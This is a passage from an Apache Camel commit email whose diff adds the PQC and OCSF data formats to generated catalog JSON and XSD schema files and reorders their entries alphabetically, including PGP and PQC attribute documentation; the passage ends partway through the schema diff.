This is an automated email from the ASF dual-hosted git repository. acosentino pushed a commit to branch backport/22491-to-camel-4.18.x in repository https://gitbox.apache.org/repos/asf/camel.git
commit 31085a689759f8799ac1635d994d3ff045c58d26 Author: Andrea Cosentino <[email protected]> AuthorDate: Wed Apr 8 18:08:47 2026 +0200 CAMEL-23298: Add missing PQC and OCSF dataformats in model and fix A..Z ordering Signed-off-by: Andrea Cosentino <[email protected]> --- .../catalog/models/dataFormatTransformer.json | 2 +- .../apache/camel/catalog/models/dataFormats.json | 2 +- .../apache/camel/catalog/schemas/camel-spring.xsd | 462 +++++++++++---------- .../apache/camel/catalog/schemas/camel-xml-io.xsd | 462 +++++++++++---------- ...ttpUnfilteredDeserializationReproducerTest.java | 126 ++++++ ...ttyUnfilteredDeserializationReproducerTest.java | 123 ++++++ .../java/org/apache/camel/xml/out/ModelWriter.java | 14 +- .../org/apache/camel/yaml/out/ModelWriter.java | 14 +- .../dsl/yaml/deserializers/ModelDeserializers.java | 84 ++-- .../generated/resources/schema/camelYamlDsl.json | 28 ++ 10 files changed, 822 insertions(+), 495 deletions(-) diff --git a/catalog/camel-catalog/src/generated/resources/org/apache/camel/catalog/models/dataFormatTransformer.json b/catalog/camel-catalog/src/generated/resources/org/apache/camel/catalog/models/dataFormatTransformer.json index 7d8367e89550..815ec640f005 100644 --- a/catalog/camel-catalog/src/generated/resources/org/apache/camel/catalog/models/dataFormatTransformer.json +++ b/catalog/camel-catalog/src/generated/resources/org/apache/camel/catalog/models/dataFormatTransformer.json @@ -12,7 +12,7 @@ "output": false }, "properties": { - "dataFormatType": { "index": 0, "kind": "element", "displayName": "Data Format Type", "group": "common", "required": true, "type": "object", "javaType": "org.apache.camel.model.DataFormatDefinition", "oneOf": [ "asn1", "avro", "barcode", "base64", "beanio", "bindy", "cbor", "crypto", "csv", "custom", "dfdl", "fhirJson", "fhirXml", "flatpack", "fory", "grok", "groovyXml", "gzipDeflater", "hl7", "ical", "iso8583", "jacksonXml", "jaxb", "json", "jsonApi", "lzf", "mimeMultipart", "parque [...] + "dataFormatType": { "index": 0, "kind": "element", "displayName": "Data Format Type", "group": "common", "required": true, "type": "object", "javaType": "org.apache.camel.model.DataFormatDefinition", "oneOf": [ "asn1", "avro", "barcode", "base64", "beanio", "bindy", "cbor", "crypto", "csv", "custom", "dfdl", "fhirJson", "fhirXml", "flatpack", "fory", "grok", "groovyXml", "gzipDeflater", "hl7", "ical", "iso8583", "jacksonXml", "jaxb", "json", "jsonApi", "lzf", "mimeMultipart", "ocsf", [...] "scheme": { "index": 1, "kind": "attribute", "displayName": "Scheme", "group": "common", "required": false, "type": "string", "javaType": "java.lang.String", "deprecated": false, "autowired": false, "secret": false, "description": "Set a scheme name supported by the transformer. If you specify 'csv', the transformer will be picked up for all of 'csv' from\/to Java transformation. Note that the scheme matching is performed only when no exactly matched transformer exists." }, "name": { "index": 2, "kind": "attribute", "displayName": "Name", "group": "common", "required": false, "type": "string", "javaType": "java.lang.String", "deprecated": false, "autowired": false, "secret": false, "description": "Set the transformer name under which the transformer gets referenced when specifying the input\/output data type on routes. If you specify a transformer name that matches a data type scheme like 'csv' the transformer will be picked up for all of 'csv:' from\/t [...] "fromType": { "index": 3, "kind": "attribute", "displayName": "From Type", "group": "common", "required": false, "type": "string", "javaType": "java.lang.String", "deprecated": false, "autowired": false, "secret": false, "description": "Set the 'from' data type name. If you specify 'xml:XYZ', the transformer will be picked up if source type is 'xml:XYZ'. If you specify just 'xml', the transformer matches with all of 'xml' source type like 'xml:ABC' or 'xml:DEF'." }, diff --git a/catalog/camel-catalog/src/generated/resources/org/apache/camel/catalog/models/dataFormats.json b/catalog/camel-catalog/src/generated/resources/org/apache/camel/catalog/models/dataFormats.json index ad5bb7bbe94b..5c7539afee16 100644 --- a/catalog/camel-catalog/src/generated/resources/org/apache/camel/catalog/models/dataFormats.json +++ b/catalog/camel-catalog/src/generated/resources/org/apache/camel/catalog/models/dataFormats.json @@ -12,6 +12,6 @@ "output": false }, "properties": { - "dataFormats": { "index": 0, "kind": "element", "displayName": "Data Formats", "group": "common", "required": true, "type": "array", "javaType": "java.util.List<org.apache.camel.model.DataFormatDefinition>", "oneOf": [ "asn1", "avro", "barcode", "base64", "beanio", "bindy", "cbor", "crypto", "csv", "custom", "dfdl", "fhirJson", "fhirXml", "flatpack", "fory", "grok", "groovyXml", "gzipDeflater", "hl7", "ical", "iso8583", "jacksonXml", "jaxb", "json", "jsonApi", "lzf", "mimeMultipart", [...] + "dataFormats": { "index": 0, "kind": "element", "displayName": "Data Formats", "group": "common", "required": true, "type": "array", "javaType": "java.util.List<org.apache.camel.model.DataFormatDefinition>", "oneOf": [ "asn1", "avro", "barcode", "base64", "beanio", "bindy", "cbor", "crypto", "csv", "custom", "dfdl", "fhirJson", "fhirXml", "flatpack", "fory", "grok", "groovyXml", "gzipDeflater", "hl7", "ical", "iso8583", "jacksonXml", "jaxb", "json", "jsonApi", "lzf", "mimeMultipart", [...] } } diff --git a/catalog/camel-catalog/src/generated/resources/org/apache/camel/catalog/schemas/camel-spring.xsd b/catalog/camel-catalog/src/generated/resources/org/apache/camel/catalog/schemas/camel-spring.xsd index 9485e38864a7..738e500259cd 100644 --- a/catalog/camel-catalog/src/generated/resources/org/apache/camel/catalog/schemas/camel-spring.xsd +++ b/catalog/camel-catalog/src/generated/resources/org/apache/camel/catalog/schemas/camel-spring.xsd @@ -7630,6 +7630,8 @@ messages, or any custom logic needed before the looping executes. <xs:element ref="tns:mimeMultipart"/> <xs:element ref="tns:ocsf"/> <xs:element ref="tns:parquetAvro"/> + <xs:element ref="tns:pgp"/> + <xs:element ref="tns:pqc"/> <xs:element ref="tns:protobuf"/> <xs:element ref="tns:rss"/> <xs:element ref="tns:smooks"/> @@ -7643,8 +7645,6 @@ messages, or any custom logic needed before the looping executes. <xs:element ref="tns:univocityFixed"/> <xs:element ref="tns:univocityTsv"/> <xs:element ref="tns:xmlSecurity"/> - <xs:element ref="tns:pgp"/> - <xs:element ref="tns:pqc"/> <xs:element ref="tns:yaml"/> <xs:element ref="tns:zipDeflater"/> <xs:element ref="tns:zipFile"/> @@ -9946,6 +9946,230 @@ and input objects are assumed as GenericRecords for marshalling. <xs:documentation xml:lang="en"> <![CDATA[ Whether the unmarshalling should produce an iterator of records or read all the records at once. Default value: false +]]> + </xs:documentation> + </xs:annotation> + </xs:attribute> + </xs:extension> + </xs:complexContent> + </xs:complexType> + <xs:complexType name="pgpDataFormat"> + <xs:complexContent> + <xs:extension base="tns:dataFormat"> + <xs:sequence/> + <xs:attribute name="keyUserid" type="xs:string"> + <xs:annotation> + <xs:documentation xml:lang="en"> +<![CDATA[ +The user ID of the key in the PGP keyring used during encryption. Can also be only a part of a user ID. For example, if +the user ID is Test User then you can use the part Test User or to address the user ID. +]]> + </xs:documentation> + </xs:annotation> + </xs:attribute> + <xs:attribute name="signatureKeyUserid" type="xs:string"> + <xs:annotation> + <xs:documentation xml:lang="en"> +<![CDATA[ +User ID of the key in the PGP keyring used for signing (during encryption) or signature verification (during +decryption). During the signature verification process the specified User ID restricts the public keys from the public +keyring which can be used for the verification. If no User ID is specified for the signature verficiation then any +public key in the public keyring can be used for the verification. Can also be only a part of a user ID. For example, if +the user ID is Test User then you can use the part Test User or to address the User ID. +]]> + </xs:documentation> + </xs:annotation> + </xs:attribute> + <xs:attribute name="password" type="xs:string"> + <xs:annotation> + <xs:documentation xml:lang="en"> +<![CDATA[ +Password used when opening the private key (not used for encryption). +]]> + </xs:documentation> + </xs:annotation> + </xs:attribute> + <xs:attribute name="signaturePassword" type="xs:string"> + <xs:annotation> + <xs:documentation xml:lang="en"> +<![CDATA[ +Password used when opening the private key used for signing (during encryption). +]]> + </xs:documentation> + </xs:annotation> + </xs:attribute> + <xs:attribute name="keyFileName" type="xs:string"> + <xs:annotation> + <xs:documentation xml:lang="en"> +<![CDATA[ +Filename of the keyring; must be accessible as a classpath resource (but you can specify a location in the file system +by using the file: prefix). +]]> + </xs:documentation> + </xs:annotation> + </xs:attribute> + <xs:attribute name="signatureKeyFileName" type="xs:string"> + <xs:annotation> + <xs:documentation xml:lang="en"> +<![CDATA[ +Filename of the keyring to use for signing (during encryption) or for signature verification (during decryption); must +be accessible as a classpath resource (but you can specify a location in the file system by using the file: prefix). +]]> + </xs:documentation> + </xs:annotation> + </xs:attribute> + <xs:attribute name="signatureKeyRing" type="xs:string"> + <xs:annotation> + <xs:documentation xml:lang="en"> +<![CDATA[ +Keyring used for signing/verifying as byte array. You can not set the signatureKeyFileName and signatureKeyRing at the +same time. +]]> + </xs:documentation> + </xs:annotation> + </xs:attribute> + <xs:attribute name="armored" type="xs:string"> + <xs:annotation> + <xs:documentation xml:lang="en"> +<![CDATA[ +This option will cause PGP to base64 encode the encrypted text, making it available for copy/paste, etc. Default value: +false +]]> + </xs:documentation> + </xs:annotation> + </xs:attribute> + <xs:attribute name="integrity" type="xs:string"> + <xs:annotation> + <xs:documentation xml:lang="en"> +<![CDATA[ +Adds an integrity check/sign into the encryption file. The default value is true. Default value: true +]]> + </xs:documentation> + </xs:annotation> + </xs:attribute> + <xs:attribute name="provider" type="xs:string"> + <xs:annotation> + <xs:documentation xml:lang="en"> +<![CDATA[ +Java Cryptography Extension (JCE) provider, default is Bouncy Castle (BC). Alternatively you can use, for example, the +IAIK JCE provider; in this case the provider must be registered beforehand and the Bouncy Castle provider must not be +registered beforehand. The Sun JCE provider does not work. +]]> + </xs:documentation> + </xs:annotation> + </xs:attribute> + <xs:attribute name="algorithm" type="xs:string"> + <xs:annotation> + <xs:documentation xml:lang="en"> +<![CDATA[ +Symmetric key encryption algorithm; possible values are defined in org.bouncycastle.bcpg.SymmetricKeyAlgorithmTags; for +example 2 (= TRIPLE DES), 3 (= CAST5), 4 (= BLOWFISH), 6 (= DES), 7 (= AES_128). Only relevant for encrypting. +]]> + </xs:documentation> + </xs:annotation> + </xs:attribute> + <xs:attribute name="compressionAlgorithm" type="xs:string"> + <xs:annotation> + <xs:documentation xml:lang="en"> +<![CDATA[ +Compression algorithm; possible values are defined in org.bouncycastle.bcpg.CompressionAlgorithmTags; for example 0 (= +UNCOMPRESSED), 1 (= ZIP), 2 (= ZLIB), 3 (= BZIP2). Only relevant for encrypting. +]]> + </xs:documentation> + </xs:annotation> + </xs:attribute> + <xs:attribute name="hashAlgorithm" type="xs:string"> + <xs:annotation> + <xs:documentation xml:lang="en"> +<![CDATA[ +Signature hash algorithm; possible values are defined in org.bouncycastle.bcpg.HashAlgorithmTags; for example 2 (= +SHA1), 8 (= SHA256), 9 (= SHA384), 10 (= SHA512), 11 (=SHA224). Only relevant for signing. +]]> + </xs:documentation> + </xs:annotation> + </xs:attribute> + <xs:attribute name="signatureVerificationOption" type="xs:string"> + <xs:annotation> + <xs:documentation xml:lang="en"> +<![CDATA[ +Controls the behavior for verifying the signature during unmarshaling. There are 4 values possible: optional: The PGP +message may or may not contain signatures; if it does contain signatures, then a signature verification is executed. +required: The PGP message must contain at least one signature; if this is not the case an exception (PGPException) is +thrown. A signature verification is executed. ignore: Contained signatures in the PGP message are ignored; no signature +verification is executed. no_signature_allowed: The PGP message must not contain a signature; otherwise an exception +(PGPException) is thrown. +]]> + </xs:documentation> + </xs:annotation> + </xs:attribute> + </xs:extension> + </xs:complexContent> + </xs:complexType> + <xs:complexType name="pqcDataFormat"> + <xs:complexContent> + <xs:extension base="tns:dataFormat"> + <xs:sequence/> + <xs:attribute name="keyEncapsulationAlgorithm" type="xs:string"> + <xs:annotation> + <xs:documentation xml:lang="en"> +<![CDATA[ +The Post-Quantum KEM algorithm to use for key encapsulation. Supported values: MLKEM, BIKE, HQC, CMCE, SABER, FRODO, +NTRU, NTRULPRime, SNTRUPrime, KYBER. Default value: MLKEM +]]> + </xs:documentation> + </xs:annotation> + </xs:attribute> + <xs:attribute name="symmetricKeyAlgorithm" type="xs:string"> + <xs:annotation> + <xs:documentation xml:lang="en"> +<![CDATA[ +The symmetric encryption algorithm to use with the shared secret. Supported values: AES, ARIA, RC2, RC5, CAMELLIA, +CAST5, CAST6, CHACHA7539, etc. Default value: AES +]]> + </xs:documentation> + </xs:annotation> + </xs:attribute> + <xs:attribute name="symmetricKeyLength" type="xs:string"> + <xs:annotation> + <xs:documentation xml:lang="en"> +<![CDATA[ +The length (in bits) of the symmetric key. Default value: 128 +]]> + </xs:documentation> + </xs:annotation> + </xs:attribute> + <xs:attribute name="keyPair" type="xs:string"> + <xs:annotation> + <xs:documentation xml:lang="en"> +<![CDATA[ +Refers to the KeyPair to lookup from the register to use for KEM operations. +]]> + </xs:documentation> + </xs:annotation> + </xs:attribute> + <xs:attribute name="bufferSize" type="xs:string"> + <xs:annotation> + <xs:documentation xml:lang="en"> +<![CDATA[ +The size of the buffer used for streaming encryption/decryption. Default value: 4096 +]]> + </xs:documentation> + </xs:annotation> + </xs:attribute> + <xs:attribute name="provider" type="xs:string"> + <xs:annotation> + <xs:documentation xml:lang="en"> +<![CDATA[ +The JCE security provider to use. +]]> + </xs:documentation> + </xs:annotation> + </xs:attribute> + <xs:attribute name="keyGenerator" type="xs:string"> + <xs:annotation> + <xs:documentation xml:lang="en"> +<![CDATA[ +Refers to a custom KeyGenerator to lookup from the register for KEM operations. ]]> </xs:documentation> </xs:annotation> @@ -10796,230 +11020,6 @@ Default value: true <xs:documentation xml:lang="en"> <![CDATA[ Refers to a Map XML Namespaces of prefix - uri mappings. -]]> - </xs:documentation> - </xs:annotation> - </xs:attribute> - </xs:extension> - </xs:complexContent> - </xs:complexType> - <xs:complexType name="pgpDataFormat"> - <xs:complexContent> - <xs:extension base="tns:dataFormat"> - <xs:sequence/> - <xs:attribute name="keyUserid" type="xs:string"> - <xs:annotation> - <xs:documentation xml:lang="en"> -<![CDATA[ -The user ID of the key in the PGP keyring used during encryption. Can also be only a part of a user ID. For example, if -the user ID is Test User then you can use the part Test User or to address the user ID. -]]> - </xs:documentation> - </xs:annotation> - </xs:attribute> - <xs:attribute name="signatureKeyUserid" type="xs:string"> - <xs:annotation> - <xs:documentation xml:lang="en"> -<![CDATA[ -User ID of the key in the PGP keyring used for signing (during encryption) or signature verification (during -decryption). During the signature verification process the specified User ID restricts the public keys from the public -keyring which can be used for the verification. If no User ID is specified for the signature verficiation then any -public key in the public keyring can be used for the verification. Can also be only a part of a user ID. For example, if -the user ID is Test User then you can use the part Test User or to address the User ID. -]]> - </xs:documentation> - </xs:annotation> - </xs:attribute> - <xs:attribute name="password" type="xs:string"> - <xs:annotation> - <xs:documentation xml:lang="en"> -<![CDATA[ -Password used when opening the private key (not used for encryption). -]]> - </xs:documentation> - </xs:annotation> - </xs:attribute> - <xs:attribute name="signaturePassword" type="xs:string"> - <xs:annotation> - <xs:documentation xml:lang="en"> -<![CDATA[ -Password used when opening the private key used for signing (during encryption). -]]> - </xs:documentation> - </xs:annotation> - </xs:attribute> - <xs:attribute name="keyFileName" type="xs:string"> - <xs:annotation> - <xs:documentation xml:lang="en"> -<![CDATA[ -Filename of the keyring; must be accessible as a classpath resource (but you can specify a location in the file system -by using the file: prefix). -]]> - </xs:documentation> - </xs:annotation> - </xs:attribute> - <xs:attribute name="signatureKeyFileName" type="xs:string"> - <xs:annotation> - <xs:documentation xml:lang="en"> -<![CDATA[ -Filename of the keyring to use for signing (during encryption) or for signature verification (during decryption); must -be accessible as a classpath resource (but you can specify a location in the file system by using the file: prefix). -]]> - </xs:documentation> - </xs:annotation> - </xs:attribute> - <xs:attribute name="signatureKeyRing" type="xs:string"> - <xs:annotation> - <xs:documentation xml:lang="en"> -<![CDATA[ -Keyring used for signing/verifying as byte array. You can not set the signatureKeyFileName and signatureKeyRing at the -same time. -]]> - </xs:documentation> - </xs:annotation> - </xs:attribute> - <xs:attribute name="armored" type="xs:string"> - <xs:annotation> - <xs:documentation xml:lang="en"> -<![CDATA[ -This option will cause PGP to base64 encode the encrypted text, making it available for copy/paste, etc. Default value: -false -]]> - </xs:documentation> - </xs:annotation> - </xs:attribute> - <xs:attribute name="integrity" type="xs:string"> - <xs:annotation> - <xs:documentation xml:lang="en"> -<![CDATA[ -Adds an integrity check/sign into the encryption file. The default value is true. Default value: true -]]> - </xs:documentation> - </xs:annotation> - </xs:attribute> - <xs:attribute name="provider" type="xs:string"> - <xs:annotation> - <xs:documentation xml:lang="en"> -<![CDATA[ -Java Cryptography Extension (JCE) provider, default is Bouncy Castle (BC). Alternatively you can use, for example, the -IAIK JCE provider; in this case the provider must be registered beforehand and the Bouncy Castle provider must not be -registered beforehand. The Sun JCE provider does not work. -]]> - </xs:documentation> - </xs:annotation> - </xs:attribute> - <xs:attribute name="algorithm" type="xs:string"> - <xs:annotation> - <xs:documentation xml:lang="en"> -<![CDATA[ -Symmetric key encryption algorithm; possible values are defined in org.bouncycastle.bcpg.SymmetricKeyAlgorithmTags; for -example 2 (= TRIPLE DES), 3 (= CAST5), 4 (= BLOWFISH), 6 (= DES), 7 (= AES_128). Only relevant for encrypting. -]]> - </xs:documentation> - </xs:annotation> - </xs:attribute> - <xs:attribute name="compressionAlgorithm" type="xs:string"> - <xs:annotation> - <xs:documentation xml:lang="en"> -<![CDATA[ -Compression algorithm; possible values are defined in org.bouncycastle.bcpg.CompressionAlgorithmTags; for example 0 (= -UNCOMPRESSED), 1 (= ZIP), 2 (= ZLIB), 3 (= BZIP2). Only relevant for encrypting. -]]> - </xs:documentation> - </xs:annotation> - </xs:attribute> - <xs:attribute name="hashAlgorithm" type="xs:string"> - <xs:annotation> - <xs:documentation xml:lang="en"> -<![CDATA[ -Signature hash algorithm; possible values are defined in org.bouncycastle.bcpg.HashAlgorithmTags; for example 2 (= -SHA1), 8 (= SHA256), 9 (= SHA384), 10 (= SHA512), 11 (=SHA224). Only relevant for signing. -]]> - </xs:documentation> - </xs:annotation> - </xs:attribute> - <xs:attribute name="signatureVerificationOption" type="xs:string"> - <xs:annotation> - <xs:documentation xml:lang="en"> -<![CDATA[ -Controls the behavior for verifying the signature during unmarshaling. There are 4 values possible: optional: The PGP -message may or may not contain signatures; if it does contain signatures, then a signature verification is executed. -required: The PGP message must contain at least one signature; if this is not the case an exception (PGPException) is -thrown. A signature verification is executed. ignore: Contained signatures in the PGP message are ignored; no signature -verification is executed. no_signature_allowed: The PGP message must not contain a signature; otherwise an exception -(PGPException) is thrown. -]]> - </xs:documentation> - </xs:annotation> - </xs:attribute> - </xs:extension> - </xs:complexContent> - </xs:complexType> - <xs:complexType name="pqcDataFormat"> - <xs:complexContent> - <xs:extension base="tns:dataFormat"> - <xs:sequence/> - <xs:attribute name="keyEncapsulationAlgorithm" type="xs:string"> - <xs:annotation> - <xs:documentation xml:lang="en"> -<![CDATA[ -The Post-Quantum KEM algorithm to use for key encapsulation. Supported values: MLKEM, BIKE, HQC, CMCE, SABER, FRODO, -NTRU, NTRULPRime, SNTRUPrime, KYBER. Default value: MLKEM -]]> - </xs:documentation> - </xs:annotation> - </xs:attribute> - <xs:attribute name="symmetricKeyAlgorithm" type="xs:string"> - <xs:annotation> - <xs:documentation xml:lang="en"> -<![CDATA[ -The symmetric encryption algorithm to use with the shared secret. Supported values: AES, ARIA, RC2, RC5, CAMELLIA, -CAST5, CAST6, CHACHA7539, etc. Default value: AES -]]> - </xs:documentation> - </xs:annotation> - </xs:attribute> - <xs:attribute name="symmetricKeyLength" type="xs:string"> - <xs:annotation> - <xs:documentation xml:lang="en"> -<![CDATA[ -The length (in bits) of the symmetric key. Default value: 128 -]]> - </xs:documentation> - </xs:annotation> - </xs:attribute> - <xs:attribute name="keyPair" type="xs:string"> - <xs:annotation> - <xs:documentation xml:lang="en"> -<![CDATA[ -Refers to the KeyPair to lookup from the register to use for KEM operations. -]]> - </xs:documentation> - </xs:annotation> - </xs:attribute> - <xs:attribute name="bufferSize" type="xs:string"> - <xs:annotation> - <xs:documentation xml:lang="en"> -<![CDATA[ -The size of the buffer used for streaming encryption/decryption. Default value: 4096 -]]> - </xs:documentation> - </xs:annotation> - </xs:attribute> - <xs:attribute name="provider" type="xs:string"> - <xs:annotation> - <xs:documentation xml:lang="en"> -<![CDATA[ -The JCE security provider to use. -]]> - </xs:documentation> - </xs:annotation> - </xs:attribute> - <xs:attribute name="keyGenerator" type="xs:string"> - <xs:annotation> - <xs:documentation xml:lang="en"> -<![CDATA[ -Refers to a custom KeyGenerator to lookup from the register for KEM operations. ]]> </xs:documentation> </xs:annotation> @@ -15117,6 +15117,8 @@ To type used as a target data type in the transformation. <xs:element ref="tns:mimeMultipart"/> <xs:element ref="tns:ocsf"/> <xs:element ref="tns:parquetAvro"/> + <xs:element ref="tns:pgp"/> + <xs:element ref="tns:pqc"/> <xs:element ref="tns:protobuf"/> <xs:element ref="tns:rss"/> <xs:element ref="tns:smooks"/> @@ -15130,8 +15132,6 @@ To type used as a target data type in the transformation. <xs:element ref="tns:univocityFixed"/> <xs:element ref="tns:univocityTsv"/> <xs:element ref="tns:xmlSecurity"/> - <xs:element ref="tns:pgp"/> - <xs:element ref="tns:pqc"/> <xs:element ref="tns:yaml"/> <xs:element ref="tns:zipDeflater"/> <xs:element ref="tns:zipFile"/> @@ -17393,8 +17393,10 @@ Set a reference to a custom Expression to use. <xs:element ref="tns:jsonApi"/> <xs:element ref="tns:lzf"/> <xs:element ref="tns:mimeMultipart"/> + <xs:element ref="tns:ocsf"/> <xs:element ref="tns:parquetAvro"/> <xs:element ref="tns:pgp"/> + <xs:element ref="tns:pqc"/> <xs:element ref="tns:protobuf"/> <xs:element ref="tns:rss"/> <xs:element ref="tns:smooks"/> @@ -18296,7 +18298,10 @@ Set the 'to' data type name. If you specify 'json:XYZ', the transformer will be <xs:element ref="tns:jsonApi"/> <xs:element ref="tns:lzf"/> <xs:element ref="tns:mimeMultipart"/> + <xs:element ref="tns:ocsf"/> <xs:element ref="tns:parquetAvro"/> + <xs:element ref="tns:pgp"/> + <xs:element ref="tns:pqc"/> <xs:element ref="tns:protobuf"/> <xs:element ref="tns:rss"/> <xs:element ref="tns:smooks"/> @@ -18310,7 +18315,6 @@ Set the 'to' data type name. If you specify 'json:XYZ', the transformer will be <xs:element ref="tns:univocityFixed"/> <xs:element ref="tns:univocityTsv"/> <xs:element ref="tns:xmlSecurity"/> - <xs:element ref="tns:pgp"/> <xs:element ref="tns:yaml"/> <xs:element ref="tns:zipDeflater"/> <xs:element ref="tns:zipFile"/> diff --git a/catalog/camel-catalog/src/generated/resources/org/apache/camel/catalog/schemas/camel-xml-io.xsd b/catalog/camel-catalog/src/generated/resources/org/apache/camel/catalog/schemas/camel-xml-io.xsd index ad621efaf3f3..4676541e2b31 100644 --- a/catalog/camel-catalog/src/generated/resources/org/apache/camel/catalog/schemas/camel-xml-io.xsd +++ b/catalog/camel-catalog/src/generated/resources/org/apache/camel/catalog/schemas/camel-xml-io.xsd @@ -6303,6 +6303,8 @@ messages, or any custom logic needed before the looping executes. <xs:element ref="tns:mimeMultipart"/> <xs:element ref="tns:ocsf"/> <xs:element ref="tns:parquetAvro"/> + <xs:element ref="tns:pgp"/> + <xs:element ref="tns:pqc"/> <xs:element ref="tns:protobuf"/> <xs:element ref="tns:rss"/> <xs:element ref="tns:smooks"/> @@ -6316,8 +6318,6 @@ messages, or any custom logic needed before the looping executes. <xs:element ref="tns:univocityFixed"/> <xs:element ref="tns:univocityTsv"/> <xs:element ref="tns:xmlSecurity"/> - <xs:element ref="tns:pgp"/> - <xs:element ref="tns:pqc"/> <xs:element ref="tns:yaml"/> <xs:element ref="tns:zipDeflater"/> <xs:element ref="tns:zipFile"/> @@ -8619,6 +8619,230 @@ and input objects are assumed as GenericRecords for marshalling. <xs:documentation xml:lang="en"> <![CDATA[ Whether the unmarshalling should produce an iterator of records or read all the records at once. Default value: false +]]> + </xs:documentation> + </xs:annotation> + </xs:attribute> + </xs:extension> + </xs:complexContent> + </xs:complexType> + <xs:complexType name="pgpDataFormat"> + <xs:complexContent> + <xs:extension base="tns:dataFormat"> + <xs:sequence/> + <xs:attribute name="keyUserid" type="xs:string"> + <xs:annotation> + <xs:documentation xml:lang="en"> +<![CDATA[ +The user ID of the key in the PGP keyring used during encryption. Can also be only a part of a user ID. For example, if +the user ID is Test User then you can use the part Test User or to address the user ID. +]]> + </xs:documentation> + </xs:annotation> + </xs:attribute> + <xs:attribute name="signatureKeyUserid" type="xs:string"> + <xs:annotation> + <xs:documentation xml:lang="en"> +<![CDATA[ +User ID of the key in the PGP keyring used for signing (during encryption) or signature verification (during +decryption). During the signature verification process the specified User ID restricts the public keys from the public +keyring which can be used for the verification. If no User ID is specified for the signature verficiation then any +public key in the public keyring can be used for the verification. Can also be only a part of a user ID. For example, if +the user ID is Test User then you can use the part Test User or to address the User ID. +]]> + </xs:documentation> + </xs:annotation> + </xs:attribute> + <xs:attribute name="password" type="xs:string"> + <xs:annotation> + <xs:documentation xml:lang="en"> +<![CDATA[ +Password used when opening the private key (not used for encryption). +]]> + </xs:documentation> + </xs:annotation> + </xs:attribute> + <xs:attribute name="signaturePassword" type="xs:string"> + <xs:annotation> + <xs:documentation xml:lang="en"> +<![CDATA[ +Password used when opening the private key used for signing (during encryption). +]]> + </xs:documentation> + </xs:annotation> + </xs:attribute> + <xs:attribute name="keyFileName" type="xs:string"> + <xs:annotation> + <xs:documentation xml:lang="en"> +<![CDATA[ +Filename of the keyring; must be accessible as a classpath resource (but you can specify a location in the file system +by using the file: prefix). +]]> + </xs:documentation> + </xs:annotation> + </xs:attribute> + <xs:attribute name="signatureKeyFileName" type="xs:string"> + <xs:annotation> + <xs:documentation xml:lang="en"> +<![CDATA[ +Filename of the keyring to use for signing (during encryption) or for signature verification (during decryption); must +be accessible as a classpath resource (but you can specify a location in the file system by using the file: prefix). +]]> + </xs:documentation> + </xs:annotation> + </xs:attribute> + <xs:attribute name="signatureKeyRing" type="xs:string"> + <xs:annotation> + <xs:documentation xml:lang="en"> +<![CDATA[ +Keyring used for signing/verifying as byte array. You can not set the signatureKeyFileName and signatureKeyRing at the +same time. +]]> + </xs:documentation> + </xs:annotation> + </xs:attribute> + <xs:attribute name="armored" type="xs:string"> + <xs:annotation> + <xs:documentation xml:lang="en"> +<![CDATA[ +This option will cause PGP to base64 encode the encrypted text, making it available for copy/paste, etc. Default value: +false +]]> + </xs:documentation> + </xs:annotation> + </xs:attribute> + <xs:attribute name="integrity" type="xs:string"> + <xs:annotation> + <xs:documentation xml:lang="en"> +<![CDATA[ +Adds an integrity check/sign into the encryption file. The default value is true. Default value: true +]]> + </xs:documentation> + </xs:annotation> + </xs:attribute> + <xs:attribute name="provider" type="xs:string"> + <xs:annotation> + <xs:documentation xml:lang="en"> +<![CDATA[ +Java Cryptography Extension (JCE) provider, default is Bouncy Castle (BC). Alternatively you can use, for example, the +IAIK JCE provider; in this case the provider must be registered beforehand and the Bouncy Castle provider must not be +registered beforehand. The Sun JCE provider does not work. +]]> + </xs:documentation> + </xs:annotation> + </xs:attribute> + <xs:attribute name="algorithm" type="xs:string"> + <xs:annotation> + <xs:documentation xml:lang="en"> +<![CDATA[ +Symmetric key encryption algorithm; possible values are defined in org.bouncycastle.bcpg.SymmetricKeyAlgorithmTags; for +example 2 (= TRIPLE DES), 3 (= CAST5), 4 (= BLOWFISH), 6 (= DES), 7 (= AES_128). Only relevant for encrypting. +]]> + </xs:documentation> + </xs:annotation> + </xs:attribute> + <xs:attribute name="compressionAlgorithm" type="xs:string"> + <xs:annotation> + <xs:documentation xml:lang="en"> +<![CDATA[ +Compression algorithm; possible values are defined in org.bouncycastle.bcpg.CompressionAlgorithmTags; for example 0 (= +UNCOMPRESSED), 1 (= ZIP), 2 (= ZLIB), 3 (= BZIP2). Only relevant for encrypting. +]]> + </xs:documentation> + </xs:annotation> + </xs:attribute> + <xs:attribute name="hashAlgorithm" type="xs:string"> + <xs:annotation> + <xs:documentation xml:lang="en"> +<![CDATA[ +Signature hash algorithm; possible values are defined in org.bouncycastle.bcpg.HashAlgorithmTags; for example 2 (= +SHA1), 8 (= SHA256), 9 (= SHA384), 10 (= SHA512), 11 (=SHA224). Only relevant for signing. +]]> + </xs:documentation> + </xs:annotation> + </xs:attribute> + <xs:attribute name="signatureVerificationOption" type="xs:string"> + <xs:annotation> + <xs:documentation xml:lang="en"> +<![CDATA[ +Controls the behavior for verifying the signature during unmarshaling. There are 4 values possible: optional: The PGP +message may or may not contain signatures; if it does contain signatures, then a signature verification is executed. +required: The PGP message must contain at least one signature; if this is not the case an exception (PGPException) is +thrown. A signature verification is executed. ignore: Contained signatures in the PGP message are ignored; no signature +verification is executed. no_signature_allowed: The PGP message must not contain a signature; otherwise an exception +(PGPException) is thrown. +]]> + </xs:documentation> + </xs:annotation> + </xs:attribute> + </xs:extension> + </xs:complexContent> + </xs:complexType> + <xs:complexType name="pqcDataFormat"> + <xs:complexContent> + <xs:extension base="tns:dataFormat"> + <xs:sequence/> + <xs:attribute name="keyEncapsulationAlgorithm" type="xs:string"> + <xs:annotation> + <xs:documentation xml:lang="en"> +<![CDATA[ +The Post-Quantum KEM algorithm to use for key encapsulation. Supported values: MLKEM, BIKE, HQC, CMCE, SABER, FRODO, +NTRU, NTRULPRime, SNTRUPrime, KYBER. Default value: MLKEM +]]> + </xs:documentation> + </xs:annotation> + </xs:attribute> + <xs:attribute name="symmetricKeyAlgorithm" type="xs:string"> + <xs:annotation> + <xs:documentation xml:lang="en"> +<![CDATA[ +The symmetric encryption algorithm to use with the shared secret. Supported values: AES, ARIA, RC2, RC5, CAMELLIA, +CAST5, CAST6, CHACHA7539, etc. Default value: AES +]]> + </xs:documentation> + </xs:annotation> + </xs:attribute> + <xs:attribute name="symmetricKeyLength" type="xs:string"> + <xs:annotation> + <xs:documentation xml:lang="en"> +<![CDATA[ +The length (in 